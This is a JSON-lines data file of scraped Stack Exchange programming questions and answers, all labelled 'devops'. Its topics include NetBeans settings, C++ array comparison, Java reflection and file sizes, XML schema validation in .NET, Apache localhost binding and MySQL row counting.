{"id": "hf_b67083eddf5f", "question": "<p>By default netbeans stores it's settings in a directory called .netbeans under the user's home directory. Is it possible to change the location of this directory (especially under Windows)?</p>\n\n<p>Thanks to James Schek I now know the answer (change the path in netbeans.conf) but that leads me to another question: \nIs there a way to include the current username in the path to the netbeans setting directory? </p>\n\n<p>I want to do something like this:</p>\n\n<pre><code>netbeans_default_userdir=\"D:\\etc\\${USERNAME}\\.netbeans\\6.5beta\"\n</code></pre>\n\n<p>but I can't figure out the name of the variable to use (if there's any).\nOf course I can achieve the same thing with the --userdir option, I'm just curious.</p>\n", "question_body": "", "answer": "yes, edit the netbeans.conf file under %NETBEANS_HOME%\\etc.\nEdit the line with:\nnetbeans_default_userdir=\"${HOME}/.netbeans/6.0\"\nIf you need different \"profiles\"--i.e. want to run different copies of Netbeans with different home directories, you can pass a new home directory to the launcher. Run \"netbeans.exe --userdir /path/to/dir\" or \"nb.exe --userdir /path/to/dir\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:47.049003"}
{"id": "hf_5368c2e3e6c7", "question": "<p>I have 2 arrays of 16 elements (chars) that I need to \"compare\" and see how many elements are equal between the two.</p>\n\n<p>This routine is going to be used millions of times (a usual run is about 60 or 70 million times), so I need it to be as fast as possible. I'm working on C++ (C++Builder 2007, for the record)</p>\n\n<p>Right now, I have a simple:</p>\n\n<pre><code>matches += array1[0] == array2[0];\n</code></pre>\n\n<p>repeated 16 times (as profiling it appears to be 30% faster than doing it with a for loop)</p>\n\n<p>Is there any other way that could work faster?</p>\n\n<p>Some data about the environment and the data itself:</p>\n\n<ul>\n<li>I'm using C++Builder, which doesn't have any speed optimizations to take into account. I will try eventually with another compiler, but right now I'm stuck with this one.</li>\n<li>The data will be different most of the times. 100% equal data is usually very very    rare (maybe less than 1%)</li>\n</ul>\n", "question_body": "", "answer": "Is it faster as one statement?\n```\n```\nmatches += (array1[0] == array2[0]) + (array1[1] == array2[1]) + ...;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:47.105967"}
{"id": "hf_08f7be087f94", "question": "<p>By default, emacs 22.1.1 only shows the top of the compilation buffer when you first issue the compile command.  I would like it to scroll to the bottom automatically when I use the compile command in order to save keystrokes.  This way I can easily get a status of the current compilation by just looking at the compile buffer and seeing which files are currently being compiled instead of having to switch windows and scroll to the bottom of the buffer.  Any ideas?</p>\n", "question_body": "", "answer": "From Info > emacs > Compilation:\nIf you set the variable\n```\ncompilation-scroll-output\n```\nto a non-\n```\nnil\n```\nvalue, then the compilation buffer always scrolls to follow output as\n  it comes in.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:47.140451"}
{"id": "hf_089e322992da", "question": "<p>I have writtent some Oracle storedprocedures in these there are more then 20 input parameters and from them morethen 10 parameters are required , I want all with some value and do not want to accept null values for that , Is there anything that I can declare in the Procedure defination itself which can restrict null input parameter or Will I have to check for each value and Raise the exception if the required value is null ?</p>\n", "question_body": "", "answer": "In PL/SQL I don't know of a way around checking each one.\nIf you are calling the stored procedure from an external library, that library might have that functionality. This is probably not likely because frequently NULL input parameters are required.\nYou could make a helper PL/SQL procedure that, given a value, will raise an exception if it is null to save on redundant code. You could then write a chunk of perl/python/groovy that would slurp up your procedure declaration and crank out these calls to your null check procedure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:47.176092"}
{"id": "hf_027e4c524ed2", "question": "<p>Killing the processs while obtaining this information would be fine.</p>\n", "question_body": "", "answer": "A quick-and-dirty way would be\n```\nObjectSpace.each_object{|e| p e}\n```\n. You could do some tests to determine what you wanted to keep, or Marshal the objects.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:47.200299"}
{"id": "hf_df84b02f7caf", "question": "<p>I'm wondering what is the best way to handle error messages in my application. </p>\n\n<p>Currently I'm working on a web application and all error messages are stored in the database and we get them by ID, negative is an error , and positive are success messages.</p>\n\n<p>the problem is that is hard to maintain and keep tracking of text messages.</p>\n\n<p>What are your approaches ?</p>\n", "question_body": "", "answer": "Generally speaking, I keep the text of the error messages in resource files. If you're using .NET 2.0 or higher (Visual Studio 2005 or higher), resource files are automatically compiled into strongly-typed classes, making the code which accesses said messages much more clear and readable.\n(EDIT: Having seen another comment which mentions localization, I feel honor-bound to mention it here as well: .NET resource files do an excellent job of localization. You can get the localized text of the resource via the exact same code, with just a few minor tweaks to provide CultureInfo.)\nThat said, it sounds like a part of this problem domain is a message number. Are these errors being thrown from the database (say, as part of stored procs or triggers)? In that case, then database storage most likely is the right place for them, if only because that documents them most closely to where the \"magic numbers\" are being used.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:47.247556"}
{"id": "hf_4c9c56b459e4", "question": "<p>While googling, I see that using <a href=\"http://docs.oracle.com/javase/6/docs/api/java/io/File.html#length%28%29\" rel=\"noreferrer\"><code>java.io.File#length()</code></a> can be slow.\n<a href=\"http://docs.oracle.com/javase/6/docs/api/java/nio/channels/FileChannel.html\" rel=\"noreferrer\"><code>FileChannel</code></a> has a <a href=\"http://docs.oracle.com/javase/6/docs/api/java/nio/channels/FileChannel.html#size%28%29\" rel=\"noreferrer\"><code>size()</code></a> method that is available as well.</p>\n\n<p>Is there an efficient way in java to get the file size?</p>\n", "question_body": "", "answer": "Well, I tried to measure it up with the code below:\nFor runs = 1 and iterations = 1 the URL method is fastest most times followed by channel. I run this with some pause fresh about 10 times. So for one time access, using the URL is the fastest way I can think of:\n```\n```\nLENGTH sum: 10626, per Iteration: 10626.0\n\nCHANNEL sum: 5535, per Iteration: 5535.0\n\nURL sum: 660, per Iteration: 660.0\n```\n```\nFor runs = 5 and iterations = 50 the picture draws different.\n```\n```\nLENGTH sum: 39496, per Iteration: 157.984\n\nCHANNEL sum: 74261, per Iteration: 297.044\n\nURL sum: 95534, per Iteration: 382.136\n```\n```\nFile must be caching the calls to the filesystem, while channels and URL have some overhead.\nCode:\n```\n```\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\npublic enum FileSizeBench {\n\n    LENGTH {\n        @Override\n        public long getResult() throws Exception {\n            File me = new File(FileSizeBench.class.getResource(\n                    \"FileSizeBench.class\").getFile());\n            return me.length();\n        }\n    },\n    CHANNEL {\n        @Override\n        public long getResult() throws Exception {\n            FileInputStream fis = null;\n            try {\n                File me = new File(FileSizeBench.class.getResource(\n                        \"FileSizeBench.class\").getFile());\n                fis = new FileInputStream(me);\n                return fis.getChannel().size();\n            } finally {\n                fis.close();\n            }\n        }\n    },\n    URL {\n        @Override\n        public long getResult() throws Exception {\n            InputStream stream = null;\n            try {\n                URL url = FileSizeBench.class\n                        .getResource(\"FileSizeBench.class\");\n                stream = url.openStream();\n                return stream.available();\n            } finally {\n                stream.close();\n            }\n        }\n    };\n\n    public abstract long getResult() throws Exception;\n\n    public static void main(String[] args) throws Exception {\n        int runs = 5;\n        int iterations = 50;\n\n        EnumMap<FileSizeBench, Long> durations = new EnumMap<FileSizeBench, Long>(FileSizeBench.class);\n\n        for (int i = 0; i < runs; i++) {\n            for (FileSizeBench test : values()) {\n                if (!durations.containsKey(test)) {\n                    durations.put(test, 0l);\n                }\n                long duration = testNow(test, iterations);\n                durations.put(test, durations.get(test) + duration);\n                // System.out.println(test + \" took: \" + duration + \", per iteration: \" + ((double)duration / (double)iterations));\n            }\n        }\n\n        for (Map.Entry<FileSizeBench, Long> entry : durations.entrySet()) {\n            System.out.println();\n            System.out.println(entry.getKey() + \" sum: \" + entry.getValue() + \", per Iteration: \" + ((double)entry.getValue() / (double)(runs * iterations)));\n        }\n\n    }\n\n    private static long testNow(FileSizeBench test, int iterations)\n            throws Exception {\n        long result = -1;\n        long before = System.nanoTime();\n        for (int i = 0; i < iterations; i++) {\n            if (result == -1) {\n                result = test.getResult();\n                //System.out.println(result);\n            } else if ((result = test.getResult()) != result) {\n                 throw new Exception(\"variance detected!\");\n             }\n        }\n        return (System.nanoTime() - before) / 1000;\n    }\n\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:47.294392"}
{"id": "hf_8bf9c0ea1e2f", "question": "<p>I'm developing a Mac App in Java that logs into any one of our client's databases.  My users want to have several copies of this program running so they can log into a couple clients at the same time, rather than logging out and logging back in.</p>\n\n<p>How can I allow a user to open several copies of my App at once?</p>\n\n<p>I'm using Eclipse to develop, and Jarbundler to make the app.</p>\n\n<p>Edit: More Importantly, is there a way to do so in the code base, rather than have my user do something funky on their system?  I'd rather just give them a 'Open New Window' menu item, then have them typing things into the Terminal.</p>\n", "question_body": "", "answer": "From the Terminal (or in a script wrapper):\n```\n```\n/Applications/TextEdit.app/Contents/MacOS/TextEdit  &\n```\n```\nSomething like that should work for you.\nTo do this in Java:\n```\n```\nString[] cmd = { \"/bin/sh\", \"-c\", \"[shell commmand goes here]\" };\n Process p = Runtime.getRuntime().exec (cmd);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:47.343346"}
{"id": "hf_1ab3d52ff509", "question": "<p>I need to determine if a Class object representing an interface extends another interface, ie:</p>\n\n<pre><code> package a.b.c.d;\n    public Interface IMyInterface extends a.b.d.c.ISomeOtherInterface{\n    }\n</code></pre>\n\n<p>according to <a href=\"http://web.archive.org/web/20100705124350/http://java.sun.com:80/j2se/1.4.2/docs/api/java/lang/Class.html\" rel=\"nofollow noreferrer\">the spec</a> Class.getSuperClass() will return null for an Interface.  </p>\n\n<blockquote>\n  <p>If this Class represents either the\n  Object class, an interface, a\n  primitive type, or void, then null is\n  returned.</p>\n</blockquote>\n\n<p>Therefore the following won't work.</p>\n\n<pre><code>Class interface = Class.ForName(\"a.b.c.d.IMyInterface\")\nClass extendedInterface = interface.getSuperClass();\nif(extendedInterface.getName().equals(\"a.b.d.c.ISomeOtherInterface\")){\n    //do whatever here\n}\n</code></pre>\n\n<p>any ideas?</p>\n", "question_body": "", "answer": "Use Class.getInterfaces such as:\n```\n```\nClass<?> c; // Your class\nfor(Class<?> i : c.getInterfaces()) {\n     // test if i is your interface\n}\n```\n```\nAlso the following code might be of help, it will give you a set with all super-classes and interfaces of a certain class:\n```\n```\npublic static Set<Class<?>> getInheritance(Class<?> in)\n{\n    LinkedHashSet<Class<?>> result = new LinkedHashSet<Class<?>>();\n\n    result.add(in);\n    getInheritance(in, result);\n\n    return result;\n}\n\n/**\n * Get inheritance of type.\n * \n * @param in\n * @param result\n */\nprivate static void getInheritance(Class<?> in, Set<Class<?>> result)\n{\n    Class<?> superclass = getSuperclass(in);\n\n    if(superclass != null)\n    {\n        result.add(superclass);\n        getInheritance(superclass, result);\n    }\n\n    getInterfaceInheritance(in, result);\n}\n\n/**\n * Get interfaces that the type inherits from.\n * \n * @param in\n * @param result\n */\nprivate static void getInterfaceInheritance(Class<?> in, Set<Class<?>> result)\n{\n    for(Class<?> c : in.getInterfaces())\n    {\n        result.add(c);\n\n        getInterfaceInheritance(c, result);\n    }\n}\n\n/**\n * Get superclass of class.\n * \n * @param in\n * @return\n */\nprivate static Class<?> getSuperclass(Class<?> in)\n{\n    if(in == null)\n    {\n        return null;\n    }\n\n    if(in.isArray() && in != Object[].class)\n    {\n        Class<?> type = in.getComponentType();\n\n        while(type.isArray())\n        {\n            type = type.getComponentType();\n        }\n\n        return type;\n    }\n\n    return in.getSuperclass();\n}\n```\n```\nEdit: Added some code to get all super-classes and interfaces of a certain class.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:47.365919"}
{"id": "hf_41193c92f33b", "question": "<p>What version of java, eclipse and WPT should I be using?</p>\n", "question_body": "", "answer": "Java 2 SDK 5.0 or higher\nThe Release notes tell you all at this site\nhttp://wso2.org/project/wsas/java/2.3/docs/tools/ide.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:47.402241"}
{"id": "hf_27983e5fa4ce", "question": "<p>I would like to implement a data access object pattern in C++, but preferably without using multiple inheritance and/or boost (which my client does not like). </p>\n\n<p>Do you have any suggestions?</p>\n", "question_body": "", "answer": "OTL (otl.sourceforge.net) is an excellent C++ database library.  It's a single include file so doesn't have all the complexity associated (rightly or wrongly!) with Boost.\nIn terms of the DAO itself, you have many options.  The simplest that hides the database implementation is just to use C++ style interfaces and implement the data access layer in a particular implementation.\n```\nclass MyDAO {\n  // Pure virtual functions to access the data itself\n}\n\nclass MyDAOImpl : public MyDAO {\n  // Implementations to get the data from the database\n}\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:47.510978"}
{"id": "hf_f904021d22f0", "question": "<p>I have an int array as a property of a Web User Control. I'd like to set that property inline if possible using the following syntax:</p>\n\n<pre><code>&lt;uc1:mycontrol runat=\"server\" myintarray=\"1,2,3\" /&gt;\n</code></pre>\n\n<p>This will fail at runtime because it will be expecting an actual int array, but a string is being passed instead. I can make <code>myintarray</code> a string and parse it in the setter, but I was wondering if there was a more elegant solution.</p>\n", "question_body": "", "answer": "Have you tried looking into Type Converters? This page looks worth a look:\nhttp://www.codeguru.com/columns/VB/article.php/c6529/\nAlso, Spring.Net seems to have a StringArrayConverter (\nhttp://www.springframework.net/doc-latest/reference/html/objects-misc.html\n- section 6.4) which, if you can feed it to ASP.net by decorating the property with a TypeConverter attribute, might work..", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:47.715610"}
{"id": "hf_437880a40bd4", "question": "<p>I'm auditing our existing web application, which makes heavy use of <a href=\"http://www.w3schools.com/HTML/html_frames.asp\" rel=\"nofollow noreferrer\">HTML frames</a>. I would like to download all of the HTML in each frame, is there a method of doing this with <a href=\"http://www.gnu.org/software/wget/\" rel=\"nofollow noreferrer\">wget</a> or a little bit of scripting?</p>\n", "question_body": "", "answer": "```\n```\nwget --recursive --domains=www.mysite.com http://www.mysite.com\n```\n```\nWhich indicates a recursive crawl should also traverse into frames and iframes.  Be careful to limit the scope of recursion only to your web site since you probably don't want to crawl the whole web.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:47.740252"}
{"id": "hf_04e8e474519d", "question": "<p>I want an expression that will fail when it encounters words such as \"boon.ini\" and \"http\". The goal would be to take this expression and be able to construct for any set of keywords.</p>\n", "question_body": "", "answer": "Rather than negating the result within the expression, you should do it in your code. That way, the expression becomes pretty simple.\n```\n```\n\\b(boon\\.ini|http)\\b\n```\n```\nWould return\n```\ntrue\n```\nif boon.ini or http was anywhere in your string. It won't match words like httpd or httpxyzzy because of the\n```\n\\b\n```\n, or word boundaries. If you want, you could just remove them and it will match those too. To add more keywords, just add more pipes.\n```\n```\n\\b(boon\\.ini|http|foo|bar)\\b\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:47.764857"}
{"id": "hf_609cf3a9ae18", "question": "<p>Whats the most efficient way of selecting total number of records from a large table? Currently, Im simply doing</p>\n\n<pre><code>$result = mysql_query(\"SELECT id FROM table\");\n$total = mysql_num_rows($result)\n</code></pre>\n\n<p>I was told this was not very efficient or fast, if you have a lot of records in the table. </p>\n", "question_body": "", "answer": "You should use\nSQL's built in COUNT function\n:\n```\n```\n$result = mysql_query(\"SELECT COUNT(id) FROM table\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:47.788760"}
{"id": "hf_2c398323b386", "question": "<p>I'm starting work on a project using Rails, but I'm waiting for the 3rd edition of the pragmatic rails book to come out before I purchase a book.</p>\n\n<p>Anyway, my question is a bit more pointed than how do I get started...</p>\n\n<p>What are some of the must have gems that everyone uses?</p>\n\n<p>I need basic authentication, so I have the restful authentication gem, but beyond that, I don't know what I don't know. Is there a run down of this information somewhere? Some basic setup that 99% of the people start with when starting a new rails application?</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "The gems and plugins that I tend to use on most of my projects are:\nRestful Authentication\n-- For authentication\nWill Paginate\n-- For pagination\nAttachment Fu\n-- For image and file attachments\nRedCloth\n-- For textile rendering\nCapistrano\n-- For deployment", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:47.824727"}
{"id": "hf_46a97e659127", "question": "<p>Does anybody know, if closures will be in Java 7? </p>\n", "question_body": "", "answer": "It is unknown until the Java SE 7 JSR is created (presumably by Danny Coward) and an expert group is formed and the contents selected.\nMy Java 7 page is a good collection of links about Java 7 in general and has links to all of the closures proposals and blog entries:\nhttp://tech.puredanger.com/java7#closures\nAnd I maintain a Java 7 link blog where you can find links on closures and other stuff at:\nhttp://java7.tumblr.com\nAnd you might find my Java 7 Predictions blog post to be interesting as well if you want my opinions:\nhttp://tech.puredanger.com/2008/08/02/java7-prediction-update/\nUPDATE: Mark Reinhold stated at Devoxx in Dec. 08 that closures will NOT be included in Java 7 due to a lack of consensus on how to implement.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:47.846912"}
{"id": "hf_77e1db560519", "question": "<p>I'm trying to build a Windows installer using Nullsoft Install System that requires installation by an Administrator. The installer makes a \"logs\" directory.  Since regular users can run this application, that directory needs to be writable by regular users.  How do I specify that all users should have permission to have write access to that directory in the NSIS script language?</p>\n\n<p>I admit that this sounds a like a sort of bad idea, but the application is just an internal app used by only a few people on a private network.  I just need the log files saved so that I can see why the app is broken if something bad happens.  The users can't be made administrator.</p>\n", "question_body": "", "answer": "One way: call the shell, and use\n```\ncacls\n```\nor\n```\nxcacls\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:47.881980"}
{"id": "hf_3af6c94573cc", "question": "<p>I would like to use my laptop as a web development (PHP, Python, etc.) machine, but I'm hesitant to do this unless I can ensure that it can not be accessed by the outside world.</p>\n\n<p>I'm guessing that something more than a firewall is necessary, such as configurations to the Apache configuration files, but I'm not sure what else I would need to be 100% sure it's locked down tightly.</p>\n", "question_body": "", "answer": "You need to configure the server daemon to only bind to localhost using the Listen directive like this:\n```\n```\nListen 127.0.0.1\n```\n```\nAn alternative is to configure access control for the main server like this\n```\n```\n<Directory \"/var/www/localhost/htdocs\">\nAllowOverride None\nDeny from all\nAllow from 127.0.0.1/255.0.0.0\n</Directory>\n```\n```\nRemember to put the root directory of your server in the Directory Directive.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:47.949220"}
{"id": "hf_80bc4091f2bc", "question": "<p>The situation: we have a large database with a number of denormalized tables. We frequently have to resummarize the data to keep the summary tables in synch. We've talked on and off about using computed columns to keep the data fresh. We've also talked about triggers, but that's a separate discussion.</p>\n\n<p>In our summary tables, we denormalized the table such that the Standard ID as well as the Standard Description is stored in the table.  This inherently assumes that the table will be resummarized often enough so that if they change the standard description, it will also change it in the summary table.\nA bad assumption.</p>\n\n<p>Question:\nWhat if we made the Standard Description in the summary table a derived/computed column which selects the standard description from the standard table?\nIs there a tremendous performance hit by dropping a computed column on a table with 100,000-500,000 rows?</p>\n", "question_body": "", "answer": "Computed columns are fine when they are not calculation intensive and are not executed on a large number of rows. Your questions is \"will there be a hit by dropping the computed column.\" Unless this column is an index that is used by the query (REAL bad idea to index a comp col - i don't know if you can depending on your DB), then dropping it cant hurt your performance (less data to query and crunch).\nIf the standard table has the description, then you should be joining it in from the id and not using any computation.\nYou alluded to what may be a real problem, and that is the schema of your database. I have had problems like this before, where a system was built to handle one thing, and something like reporting needs to be bolted on/in. Without refactoring your schema to balance all of the needs, Sunny's idea of using views is just about the only easy way.\nIf you want to post some cleansed DDL and data, and an example of what you are trying to get out of the db, we may be able to give you a less subjective answer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:47.985110"}
{"id": "hf_e6389918dbaf", "question": "<p>When Mac OS X goes to sleep, due to closing a laptop or selecting \"Sleep\" from the Apple menu, how does it suspend an executing process?</p>\n\n<p>I suppose non-windowed processes are simply suspended at an arbitrary point of execution.  Is that also true for Cocoa apps, or does the OS wait until control returns to the run loop dispatcher, and goes to sleep in a \"known\" location?  Does any modern OS do that, or is it usually safe enough to simply suspend an app no matter what it is doing?</p>\n\n<p>I'm curious, because allowing sleep to occur at any moment means, from the app's perspective, the system clock could suddenly leap forward by a significant amount.  That's a possibility I don't usually consider while coding.</p>\n", "question_body": "", "answer": "I believe it will just suspend all apps wherever they happen to be.\nRemember, this happens all the time anyway.  Applications are constantly suspended and resumed due to context switching.  So, really, the clock could jump between any 2 instructions in your app, though usually not in a noticable/significant way.\nIf the OS waited for the app to return to some main loop you could run into situations where applications cause the sleep to hang.  If they're doing a lot of work and not returning to the run loop dispatcher they would prevent the machine from going to sleep.  That wouldn't be very good. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:48.009332"}
{"id": "hf_16065c3ad3ae", "question": "<p>Just like it reads.</p>\n", "question_body": "", "answer": "From wikipedia:\nThe Semantic Web is an evolving\n  extension of the World Wide Web in\n  which the semantics of information and\n  services on the web is defined, making\n  it possible for the web to understand\n  and satisfy the requests of people and\n  machines to use the web content. It\n  derives from World Wide Web Consortium\n  director Sir Tim Berners-Lee's vision\n  of the Web as a universal medium for\n  data, information, and knowledge\n  exchange.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:48.033490"}
{"id": "hf_75ff7b5b17ed", "question": "<p>I wanted to use <code>fstream</code> to read a txt file.</p>\n\n<p>I am using <code>inFile &gt;&gt; characterToConvert</code>, but the problem is that this omits any spaces and newline.</p>\n\n<p>I am writing an encryption program so I need to include the spaces and newlines.</p>\n\n<p>What would be the proper way to go about accomplishing this?</p>\n", "question_body": "", "answer": "The following c++ code will read an entire file...\n```\n```\n#include <iostream>\n#include <fstream>\n#include <string>\nusing namespace std;\n\nint main () \n{\n  string line;\n  ifstream myfile (\"foo.txt\");\n\n  if (myfile.is_open()){\n\n    while (!myfile.eof()){\n      getline (myfile,line);\n      cout << line << endl;\n    }\n    myfile.close();\n  }\n  return 0;\n}\n```\n```\npost your code and I can give you more specific help to your problem...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:48.058040"}
{"id": "hf_75cb40378a8c", "question": "<p>I have some WCF methods that are used to transmit information from a server application to a website frontend for use in binding.  I'm sending the result as an XElement that is a root of an XML tree containing the data I want to bind against.</p>\n\n<p>I'd like to create some tests that examine the data and ensure it comes across as expected.  </p>\n\n<p>My current thinking is this:  Every method that returns an XElement tree has a corresponding schema (.XSD) file.  This file is included within the assembly that contains my WCF classes as an embedded resource.</p>\n\n<p>Tests call the method on these methods and compares the result against these embedded schemas.</p>\n\n<p>Is this a good idea?  If not, what other ways can I use to provide a \"guarantee\" of what kind of XML a method will return?</p>\n\n<p>If it is, how do you validate an XElement against a schema?  And how can I get that schema from the assembly it's embedded in?</p>\n", "question_body": "", "answer": "Id say validating xml with a xsd schema is a good idea.\nHow to validate a XElement with the loaded schema:\nAs you see in this example you need to validate the XDocument first to get populate the \"post-schema-validation infoset\" (There might be a solution to do this without using the Validate method on the XDOcument but Im yet to find one):\n```\n```\nString xsd =\n@\"<xsd:schema xmlns:xsd='http://www.w3.org/2001/XMLSchema'>\n   <xsd:element name='root'>\n    <xsd:complexType>\n     <xsd:sequence>\n      <xsd:element name='child1' minOccurs='1' maxOccurs='1'>\n       <xsd:complexType>\n        <xsd:sequence>\n         <xsd:element name='grandchild1' minOccurs='1' maxOccurs='1'/>\n         <xsd:element name='grandchild2' minOccurs='1' maxOccurs='2'/>\n        </xsd:sequence>\n       </xsd:complexType>\n      </xsd:element>\n     </xsd:sequence>\n    </xsd:complexType>\n   </xsd:element>\n  </xsd:schema>\";\nString xml = @\"<?xml version='1.0'?>\n<root>\n    <child1>\n        <grandchild1>alpha</grandchild1>\n        <grandchild2>beta</grandchild2>\n    </child1>\n</root>\";\nXmlSchemaSet schemas = new XmlSchemaSet();\nschemas.Add(\"\", XmlReader.Create(new StringReader(xsd)));\nXDocument doc = XDocument.Load(XmlReader.Create(new StringReader(xml)));\nBoolean errors = false;\ndoc.Validate(schemas, (sender, e) =>\n{\n    Console.WriteLine(e.Message);\n    errors = true;\n}, true);\nerrors = false;\nXElement child = doc.Element(\"root\").Element(\"child1\");\nchild.Validate(child.GetSchemaInfo().SchemaElement, schemas, (sender, e) =>\n{\n    Console.WriteLine(e.Message);\n    errors = true;\n});\n```\n```\nHow to read the embedded schema from an assembly and add it to the XmlSchemaSet:\n```\n```\nAssembly assembly = Assembly.GetExecutingAssembly();\n// you can use reflector to get the full namespace of your embedded resource here\nStream stream = assembly.GetManifestResourceStream(\"AssemblyRootNamespace.Resources.XMLSchema.xsd\");\nXmlSchemaSet schemas = new XmlSchemaSet();\nschemas.Add(null, XmlReader.Create(stream));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:48.231646"}
{"id": "hf_d3b2b28eb503", "question": "<p>How can I retrieve the name of the currently logged in user, using a python script? The function should work regardless of whether it is a domain/ad user or a local user.</p>\n", "question_body": "", "answer": "Try this:\n```\n```\nimport os;\nprint os.environ.get( \"USERNAME\" )\n```\n```\nThat should do the job.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:48.253105"}
